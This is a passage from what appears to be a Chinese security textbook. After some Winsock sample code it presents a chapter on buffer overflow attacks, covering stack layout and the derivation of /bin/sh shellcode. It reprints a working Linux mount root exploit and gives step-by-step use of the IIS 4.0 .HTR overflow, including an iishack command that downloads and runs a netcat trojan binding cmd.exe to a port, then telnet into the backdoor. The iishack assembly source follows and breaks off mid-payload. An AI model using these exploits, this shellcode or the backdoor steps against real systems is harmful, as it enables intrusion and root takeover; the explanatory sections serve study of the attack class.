return FALSE;
}

// Fill out the local socket's address information.
local_sin.sin_family = AF_INET;
local_sin.sin_port = htons (PORTNUM);
local_sin.sin_addr.s_addr = htonl (INADDR_ANY);

// Associate the local address with WinSocket.
if (bind (WinSocket,
(struct sockaddr *) &local_sin,
sizeof (local_sin)) == SOCKET_ERROR)
{
wsprintf (szError, TEXT("Binding socket failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (WinSocket);
return FALSE;
}

// Establish a socket to listen for incoming connections.
if (listen (WinSocket, MAX_PENDING_CONNECTS) == SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Listening to the client failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (WinSocket);
return FALSE;
}

accept_sin_len = sizeof (accept_sin);

// Accept an incoming connection attempt on WinSocket.
ClientSock = accept (WinSocket,
(struct sockaddr *) &accept_sin,
(int *) &accept_sin_len);

// Stop listening for connections from clients.
closesocket (WinSocket);

if (ClientSock == INVALID_SOCKET)
{
wsprintf (szError, TEXT("Accepting connection with client failed.")
TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}

for (;
{
// Receive data from the client.
iReturn = recv (ClientSock, szServerA, sizeof (szServerA), 0);

// Check if there is any data received. If there is, display it.
if (iReturn == SOCKET_ERROR)
{
wsprintf (szError, TEXT("No data is received, recv failed.")
TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Server"), MB_OK);
break;
}
else if (iReturn == 0)
{
MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Server"),
MB_OK);
ExitWindowsEx(EWX_REBOOT,0); //restart windows
break;
}
else
{
// Convert the ASCII string to the UNICODE string.
for (index = 0; index < = sizeof (szServerA); index++)
szServerW[index] = szServerA[index];

// Display the string received from the client.
MessageBox (NULL, szServerW, TEXT("Received From Client"), MB_OK);
}
}

// Send a string from the server to the client.
if (send (ClientSock, "To Client.", strlen ("To Client.") + 1, 0)
== SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Sending data to the client failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
}

// Disable both sending and receiving on ClientSock.
shutdown (ClientSock, 0x02);

// Close ClientSock.
closesocket (ClientSock);

WSACleanup ();

return TRUE;
}

  客户端程序:
#include < windows.h>
#include < winsock.h>

#define PORTNUM 5000 // Port number
#define HOSTNAME "localhost" // Server name string
// This should be changed
// according to the server
int WINAPI WinMain (
HINSTANCE hInstance, // Handle to the current instance
HINSTANCE hPrevInstance,// Handle to the previous instance
LPTSTR lpCmdLine, // Pointer to the command line
int nCmdShow) // Show state of the window
{
int index = 0, // Integer index
iReturn; // Return value of recv function
char szClientA[100]; // ASCII string
TCHAR szClientW[100]; // UNICODE string
TCHAR szError[100]; // Error message string

SOCKET ServerSock = INVALID_SOCKET; // Socket bound to the server
SOCKADDR_IN destination_sin; // Server socket address
PHOSTENT phostent = NULL; // Points to the HOSTENT structure
// of the server
WSADATA WSAData; // Contains details of the Windows
// Sockets implementation

// Initiate Windows Sockets.
if (WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
wsprintf (szError, TEXT("WSAStartup failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}

// Create a TCP/IP socket that is bound to the server.
if ((ServerSock = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
wsprintf (szError, TEXT("Allocating socket failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}

// Fill out the server socket's address information.
destination_sin.sin_family = AF_INET;

// Retrieve the host information corresponding to the host name.
if ((phostent = gethostbyname (HOSTNAME)) == NULL)
{
wsprintf (szError, TEXT("Unable to get the host name. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (ServerSock);
return FALSE;
}

// Assign the socket IP address.
memcpy ((char FAR *)&(destination_sin.sin_addr),
phostent->h_addr,
phostent->h_length);

// Convert to network ordering.
destination_sin.sin_port = htons (PORTNUM);

// Establish a connection to the server socket.
if (connect (ServerSock,
(PSOCKADDR) &destination_sin,
sizeof (destination_sin)) == SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Connecting to the server failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (ServerSock);
return FALSE;
}

// Send a string to the server.
if (send (ServerSock, "To Server.", strlen ("To Server.") + 1, 0)
== SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Sending data to the server failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
}

// Disable sending on ServerSock.
shutdown (ServerSock, 0x01);

for (;
{
// Receive data from the server socket.
iReturn = recv (ServerSock, szClientA, sizeof (szClientA), 0);

// Check if there is any data received. If there is, display it.
if (iReturn == SOCKET_ERROR)
{
wsprintf (szError, TEXT("No data is received, recv failed.")
TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Client"), MB_OK);
break;
}
else if (iReturn == 0)
{
MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Client"),
MB_OK);
break;
}
else
{
// Convert the ASCII string to the UNICODE string.
for (index = 0; index < = sizeof (szClientA); index++)
szClientW[index] = szClientA[index];

// Display the string received from the server.
MessageBox (NULL, szClientW, TEXT("Received From Server"), MB_OK);
}
}

// Disable receiving on ServerSock.
shutdown (ServerSock, 0x00);

// Close the socket.
closesocket (ServerSock);

WSACleanup ();

return TRUE;
}


第十章 缓冲区溢出及其攻击
第一节 缓冲区溢出原理
缓冲区是内存中存放数据的地方。在程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。
下面对这种技术做一个详细的介绍。
缓冲区是程序运行时计算机内存中的一个连续的块,它保存了给定类型的数据。问题随着动态分配变量而出现。为了不用太多的内存,一个有动态分配变量的程序在程序运行时才决定给他们分配多少内存。
如果程序在动态分配缓冲区放入太多的数据会有什么现象?它溢出了,漏到了别的地方。一个缓冲区溢出应用程序使用这个溢出的数据将汇编语言代码放到计算机的内存中,通常是产生root权限的地方。
单单的缓冲区溢出,并不会产生安全问题。只有将溢出送到能够以root权限运行命令的区域才行。这样,一个缓冲区利用程序将能运行的指令放在了有root权限的内存中,从而一旦运行这些指令,就是以root权限控制了计算机。
总结一下上面的描述。缓冲区溢出指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

example0.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}
----------------------------------------------------------------------

上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的getc(),fgetc(),getchar()等。
在C语言中,静态变量是分配在数据段中的,动态变量是分配在堆栈段的。缓冲区溢出是利用堆栈段的溢出的。
下面通过介绍Linux中怎样利用缓冲区溢出来讲解这一原理。最后介绍一个 eEye公司发现的IIS的一个溢出漏洞来讲解一个很实际的攻击实例。
第二节 制造缓冲区溢出
  一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据,这个段通常是只读,对它的写操作是非法的。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置如下:

/――――――――/   内存低端
| 程序段 |
|―――――――――|
| 数据段 |
|―――――――――|
| 堆栈 |
/―――――――――/ 内存高端

堆栈是内存中的一个连续的块。一个叫堆栈指针的寄存器(SP)指向堆栈的栈顶。堆栈的底部是一个固定地址。
堆栈有一个特点就是,后进先出。也就是说,后放入的数据第一个取出。它支持两个操作,PUSH和POP。PUSH是将数据放到栈的顶端,POP是将栈顶的数据取出。
在高级语言中,程序函数调用和函数中的临时变量都用到堆栈。参数的传递和返回值是也用到了堆栈。通常对局部变量的引用是通过给出它们对SP的偏移量来实现的。另外还有一个基址指针(FP,在Intel芯片中是BP),许多编译器实际上是用它来引用本地变量和参数的。通常,参数的相对FP的偏移是正的,局部变量是负的。
当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容,做为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。
下面举个例子:
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
为了理解程序是怎样调用函数function()的,使用-S选项,在Linux下,用gcc进行编译,产生汇编代码输出:
$ gcc -S -o example1.s example1.c
看看输出文件中调用函数的那部分:
pushl $3
pushl $2
pushl $1
call function
这就将3个参数压到堆栈里了,并调用function()。指令call会将指令指针IP压入堆栈。在返回时,RET要用到这个保存的IP。
在函数中,第一要做的事是进行一些必要的处理。每个函数都必须有这些过程:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
这几条指令将EBP,基址指针放入堆栈。然后将当前SP拷贝到EBP。然后,为本地变量分配空间,并将它们的大小从SP里减掉。由于内存分配是以字为单位的,因此,这里的buffer1用了8字节(2个字,一个字4字节)。Buffer2用了12字节(3个字)。所以这里将ESP减了20。这样,现在,堆栈看起来应该是这样的。

低端内存 高端内存
buffer2 buffer1 sfp ret a b c
< ------ [ ][ ][ ][ ][ ][ ][ ]
栈顶 栈底

  缓冲区溢出就是在一个缓冲区里写入过多的数据。那怎样利用呢,看一下下面程序:

example2.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large_string[i] = 'A';

function(large_string);
}
----------------------------------------------------------------------
  这个程序是一个经典的缓冲区溢出编码错误。函数将一个字符串不经过边界检查,拷贝到另一内存区域。当调用函数function()时,堆栈如下:
低内存端 buffer sfp ret *str 高内存端
< ------ [ ][ ][ ][ ]
栈顶 栈底
很明显,程序执行的结果是"Segmentation fault (core dumped)"或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖,包括sfp, ret,甚至*str。'A'的十六进值为0x41,所以函数的返回地址变成了0x41414141, 这超出了程序的地址空间,所以出现段错误。
可见,缓冲区溢出允许我们改变一个函数的返回地址。通过这种方式,可以改变程序的执行顺序。
第三节 通过缓冲区溢出获得用户SHELL
  再回过头看看第一个例子:
低端内存 高端内存
buffer2 buffer1 sfp ret a b c
< ------ [ ][ ][ ][ ][ ][ ][ ]
栈顶 栈底
将第一个example1.c的代码改动一下,用来覆盖返回地址,显示怎样能利用它来执行任意代码。在上图中,buffer1前面的上sfp,再前面的是ret。而且buffer1[]实际上是8个字节,因此,返回地址是从buffer1[]起始地址算起是12个字节。在程序中,将返回地址设置成跳过语句"x=1;",因此,程序的运行结果显示成一个0,而不是1。

example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;

ret = buffer1 + 12;
(*ret) += 8;
}

void main() {
int x;

x = 0;
function(1,2,3);
x = 1;
printf("%d/n",x);
}

  用gdb调试。
  $ gdb example3
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 < main>: pushl %ebp
0x8000491 < main+1>: movl %esp,%ebp
0x8000493 < main+3>: subl $0x4,%esp
0x8000496 < main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d < main+13>: pushl $0x3
0x800049f < main+15>: pushl $0x2
0x80004a1 < main+17>: pushl $0x1
0x80004a3 < main+19>: call 0x8000470 < function>
0x80004a8 < main+24>: addl $0xc,%esp
0x80004ab < main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 < main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 < main+37>: pushl %eax
0x80004b6 < main+38>: pushl $0x80004f8
0x80004bb < main+43>: call 0x8000378 < printf>
0x80004c0 < main+48>: addl $0x8,%esp
0x80004c3 < main+51>: movl %ebp,%esp
0x80004c5 < main+53>: popl %ebp
0x80004c6 < main+54>: ret
0x80004c7 < main+55>: nop
------------------------------------------------------------------------------
可见在调用function()之前,RET的返回地址将是0x8004a8,我们想要跳过0x80004ab,去执行0x8004b2。

在能够修改程序执行顺序之后,想要执行什么程序呢?通常希望程序去执行Shell,在Shell里,就能执行希望执行的指令了。
如果在溢出的缓冲区中写入想执行的代码,再覆盖返回地址(ret)的内容,使它指向缓冲区的开头,就可以达到运行其它指令的目的。
在C语言中,调用shell的程序是这样的:
shellcode.c
-----------------------------------------------------------------------------
#include < stdio.h>

void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
看一下这段程序的二进制代码:
$ gcc -o shellcode -ggdb -static shellcode.c
$ gdb shellcode
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 < main>: pushl %ebp
0x8000131 < main+1>: movl %esp,%ebp
0x8000133 < main+3>: subl $0x8,%esp
0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 < main+20>: pushl $0x0
0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 < main+25>: pushl %eax
0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d < main+29>: pushl %eax
0x800014e < main+30>: call 0x80002bc < __execve>
0x8000153 < main+35>: addl $0xc,%esp
0x8000156 < main+38>: movl %ebp,%esp
0x8000158 < main+40>: popl %ebp
0x8000159 < main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc < __execve>: pushl %ebp
0x80002bd < __execve+1>: movl %esp,%ebp
0x80002bf < __execve+3>: pushl %ebx
0x80002c0 < __execve+4>: movl $0xb,%eax
0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx
0x80002cb < __execve+15>: movl 0x10(%ebp),%edx
0x80002ce < __execve+18>: int $0x80
0x80002d0 < __execve+20>: movl %eax,%edx
0x80002d2 < __execve+22>: testl %edx,%edx
0x80002d4 < __execve+24>: jnl 0x80002e6 < __execve+42>
0x80002d6 < __execve+26>: negl %edx
0x80002d8 < __execve+28>: pushl %edx
0x80002d9 < __execve+29>: call 0x8001a34 < __normal_errno_location>
0x80002de < __execve+34>: popl %edx
0x80002df < __execve+35>: movl %edx,(%eax)
0x80002e1 < __execve+37>: movl $0xffffffff,%eax
0x80002e6 < __execve+42>: popl %ebx
0x80002e7 < __execve+43>: movl %ebp,%esp
0x80002e9 < __execve+45>: popl %ebp
0x80002ea < __execve+46>: ret
0x80002eb < __execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
  研究一下main:
------------------------------------------------------------------------------
0x8000130 < main>: pushl %ebp
0x8000131 < main+1>: movl %esp,%ebp
0x8000133 < main+3>: subl $0x8,%esp
这段代码是main()函数的进入代码,为变量name留出空间。
0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)
这里实现了name[0] = "/bin/sh";语句。
接下来是调用execve()函数。
0x8000144 < main+20>: pushl $0x0
0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 < main+25>: pushl %eax
0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d < main+29>: pushl %eax
  前面几句是参数传递。
0x800014e < main+30>: call 0x80002bc < __execve>
再来分析一下execve()函数。
0x80002bc < __execve>: pushl %ebp
0x80002bd < __execve+1>: movl %esp,%ebp
0x80002bf < __execve+3>: pushl %ebx
这是每个函数的进入必须处理部分。
0x80002c0 < __execve+4>: movl $0xb,%eax
将eax拷贝到堆栈上的0xb(11)处。这是系统调用表的索引,及是execve调用。
0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx
0x80002cb < __execve+15>: movl 0x10(%ebp),%edx
0x80002ce < __execve+18>: int $0x80
进入中断,也就是系统内核,实现系统调用。为了防止execve调用不成功,可以在程序后面再加入一个exit系统调用。
将上面所述,我们就得出一段调用shell的二进制(汇编)代码:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
由于我们不知道程序的运行空间,所以使用JMP和CALL指令。这两个指令可以使用相对地址。如果在“/bin/sh”前放一条CALL指令,并将一个JMP指令跳向它。这个字符串地址将PUSH到堆栈上,作为CALL的返回地址。我们所做的就是将返回地址拷贝到一个寄存器。那么程序的执行顺序如下:

内存低端 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高端
89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF
buffer sfp ret a b c

< ------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
栈顶 栈底
  经过这些改动后,使用索引地址,参考下面的代码:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string /"/bin/sh/" # 8 bytes
------------------------------------------------------------------------------
通常将上面这段代码翻译成二进制代码,放在一个数组里。
将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
  下面的程序是怎样利用的示范:
example4.c
----------------------------------------------------------------------
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
----------------------------------------------------------------------
这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容为shell代码。
这样当程序试从strcpy()中返回时,就会转而执行shell。
第四节 利用缓冲区溢出进行的系统攻击
  如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。可以编写程序来自动实现这一功能。请参见下面的这个比较经典的程序。

低内存端 buffer sfp ret *str 高内存端
< ------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
栈顶 ^ | 栈底
|_______________________________|

图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用了系统程序mount的漏洞:

example5.c
----------------------------------------------------------------------
/* Mount Exploit for Linux, Jul 30 1996

Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/

#include < unistd.h>
#include < stdio.h>
#include < stdlib.h>
#include < fcntl.h>
#include < sys/stat.h>

#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
__asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
u_char execshell[] =
"/xeb/x24/x5e/x8d/x1e/x89/x5e/x0b/x33/xd2/x89/x56/x07/x89/x56/x0f"
"/xb8/x1b/x56/x34/x12/x35/x10/x56/x34/x12/x8d/x4e/x0b/x8b/xd1/xcd"
"/x80/x33/xc0/x40/xcd/x80/xe8/xd7/xff/xff/xff/bin/sh";

char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

int i;
int ofs = DEFAULT_OFFSET;

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory/n");
exit(0);
}
ptr = buff;

/* fill start of buffer with nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);

/* stick asm code into the buffer */

for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;

(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996/n");
execl(PATH_MOUNT, "mount", buff, NULL);
}

----------------------------------------------------------------------
程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。
由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将获得一个具有root权限的shell。
第五节 缓冲区溢出应用攻击实例
  eEye - Digital Security Team利用他们开发的Retina网络安全扫描器时,发现了微软IIS4.0的一个缓冲区溢出漏洞,从而产生了一些列的攻击。下面是对这一过程的详细分析。

受到影响的系统
Internet Information Server 4.0 (IIS4)
Microsoft Windows NT 4.0 SP3 Option Pack 4
Microsoft Windows NT 4.0 SP4 Option Pack 4
Microsoft Windows NT 4.0 SP5 Option Pack 4

  目前,Internet上90%的NT Web服务器运行的是上述系统。所以这一造成的后果是相当巨大的。

原理
IIS把整个的URL地址传给处理IIS默认后缀(.ASP, .IDC, .HTR)的DLL。如果ISAPI DLL没有一个很好的边界检查的话,会产生一个缓冲区溢出,它利用IIS(inetinfo.exe),允许执行远程计算机上的任意代码。
利用这一原理,eEye利用Retina使用这些后缀,来探测是否存在这样的漏洞。结果,发现了这样的漏洞。在发送"GET /[overflow].htr HTTP/1.0"后,对方的服务器没有反映了。于是,使用调试器,进行分析后发现,这个缓冲区有3K。请参看前面介绍的原理。
  下面是调试信息:
EAX = 00F7FCC8 EBX = 00F41130
ECX = 41414141 EDX = 77F9485A
ESI = 00F7FCC0 EDI = 00F7FCC0
EIP = 41414141 ESP = 00F4106C
EBP = 00F4108C EFL = 00000246

注: Retina使用"A" (0x41)来填充缓冲区。

解释:
  这个溢出和.HTR后缀有关。IIS包含了允许Windows NT用户通过web目录/iisadmpwd/改变他们的口令的能力。这个特点是由一系列的.HTR文件和ISAPI后缀文件ISM.DLL实现的。因此,在将URL传递给ISM.DLL的这一行的某个地方,并没有进行边界检查,于是就发生了溢出。.HTR/ISM.DLL ISAPI过滤器都在IIS服务器上缺省安装。

攻击方法
利用上述的毛病,eEye写了两个程序: iishack.exe和 ncx.exe。
把ncx.exe拷贝到你的web服务器上。ncx.exe是一个特洛伊木马程序,是netcat.exe的改进程序。主要变化是将-l -p 80 -t -e cmd.exe作为一个固定的参数运行,始终将cmd.exe绑定在80端口。ncx..exe的代码也比netcat.exe要小,有利于攻击。
如果不能在服务器上使用ncx.exe的话,可以使用ncx99.exe。主要原因是ncx.exe绑定80端口,有可能不能用。Ncx99.exe绑定99端口。
假设你的web server是:www.mysvr.com,对方的IIS server是www.xxx.com 。运行下面的命令:
iishack www.xxx.com 80 www.mysvr.com/ncx99.exe (注意,不要加http://字符!)
  运行后,可以看到如下信息:
------(IIS 4.0 remote buffer overflow exploit)-----------------
(c) dark spyrit -- [email protected].
http://www.eEye.com
[usage: iishack < host> < port> < url> ]
eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe
do not include 'http://' before hosts!
---------------------------------------------------------------
Data sent!

  等待足够多的时间。这样,你已经利用这一漏洞并在被攻击的服务器上留下后门了。随后,可以使用Telnet来操作对方的计算机。

Telnet www.xxx.com 99
  结果是这样:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.

C:/>
  这就说明你已经能进入对方的计算机了。现在可以进行任何想要进行的操作了。
如果想要退出,只需键入exit。
  对这个漏洞的补救方法:在IIS的www service属性中将主目录的应用程序设置的*.htr的映射删除。

Iishack.exe程序的源代码
  下面将iishack.exe的源代码放在这里,供有兴趣者参考。在分析这段代码时,请参照前面的原理的讲解。如要编译成可执行代码,请用Turbo ASM来编译。

; IIS 4.0 remote overflow exploit.
; (c) dark spyrit -- [email protected]
;
; greets & thanks to: neophyte/sacx/tree/everyone in #mulysa and
; #beavuh... and all the other kiwi's except ceo.
;
; credits to acp for the console stuff..
;
; I don't want to go in too deeply on the process of exploiting buffer
; overflows... there's various papers out there on this subject, instead I'll
; give just a few specifics relating to this one..
;
; Microsoft was rather good to us on this occasion, stuffing our eip value
; directly into a register then calling it.. no need to stuff valid addresses
; to make our way through various routines to eventually return to our
; address... but, unfortunately it wasn't all smooth sailing.
; Various bytes and byte sequences I was forced to avoid, as you'll quickly
; notice should you bother debugging this.. various push/pop pairs etc.
; I don't bother with any cleanup when all is done, NT's exception handling
; can cope with the mess
;
; The exploit works by redirecting the eip to the address of a loaded dll,
; in this case ISM.DLL. Why?
; Because its loaded in memory, is loaded at a high address which gets around
; the null byte problem.. and is static on all service packs.
; The code from ISM.DLL jumps to my code, which creates a jump table of
; of functions we'll need, including the socket functions.. we do this
; because unfortunately the dll's import tables don't include nearly enough
; of the functions we need..
;
; The socket structure is created and filled at runtime, I had to do this
; at runtime because of the bad byte problem.. after this a small buffer is
; created, a get request issued to the web site of the file you want to
; download.. file is then received/saved to disk/and executed..
; Simple huh? no not really
;
; Have fun with this one... feel free to drop me an email with any comments.
;
; And finally, heh.. "caveat emptor".
;
;
; you can grab the assembled exe at http://www.eEye.com.
;
; to assemble:
;
; tasm32 -ml iishack.asm
; tlink32 -Tpe -c -x iishack.obj ,,, import32


.386p
locals
jumps
.model flat, stdcall


extrn GetCommandLineA:PROC
extrn GetStdHandle:PROC
extrn WriteConsoleA:PROC
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn connect:PROC
extrn send:PROC
extrn recv:PROC
extrn WSACleanup:PROC
extrn gethostbyname:PROC
extrn htons:PROC
extrn socket:PROC
extrn inet_addr:PROC
extrn closesocket:PROC

.data

sploit_length equ 1157

sploit:
db "GET /"
db 041h, 041h, 041h, 041h, 041h, 041h, 041h
db 576 dup (041h)
db 041h, 041h, 041h, 041h, 041h, 041h, 0b0h, 087h, 067h, 068h, 0b0h, 087h
db 067h, 068h, 090h, 090h, 090h, 090h, 058h, 058h, 090h, 033h, 0c0h, 050h
db 05bh, 053h, 059h, 08bh, 0deh, 066h, 0b8h, 021h, 002h, 003h, 0d8h, 032h
db 0c0h, 0d7h, 02ch, 021h, 088h, 003h, 04bh, 03ch, 0deh, 075h, 0f4h, 043h
db 043h, 0bah, 0d0h, 010h, 067h, 068h, 052h, 051h, 053h, 0ffh, 012h, 08bh
db 0f0h, 08bh, 0f9h, 0fch, 059h, 0b1h, 006h, 090h, 05ah, 043h, 032h, 0c0h
db 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h, 052h, 051h
db 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h, 05ah, 0e2h, 0e6h, 043h
db 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h
db 052h, 053h, 0ffh, 012h, 08bh, 0f0h, 05ah, 033h, 0c9h, 050h, 058h, 0b1h
db 005h, 043h, 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h
db 0f4h, 043h, 052h, 051h, 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h
db 05ah, 0e2h, 0e6h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h
db 0f4h, 089h, 047h, 0cch, 033h, 0c0h, 050h, 050h, 0b0h, 002h, 066h, 0abh
db 058h, 0b4h, 050h, 066h, 0abh, 058h, 0abh, 0abh, 0abh, 0b1h, 021h, 090h
db 066h, 083h, 0c3h, 016h, 08bh, 0f3h, 043h, 032h, 0c0h, 0d7h, 03ah, 0c8h
db 075h, 0f8h, 032h, 0c0h, 088h, 003h, 056h, 0ffh, 057h, 0ech, 090h, 066h
db 083h, 0efh, 010h, 092h, 08bh, 052h, 00ch, 08bh, 012h, 08bh, 012h, 092h
db 08bh, 0d7h, 089h, 042h, 004h, 052h, 06ah, 010h, 052h, 0ffh, 077h, 0cch
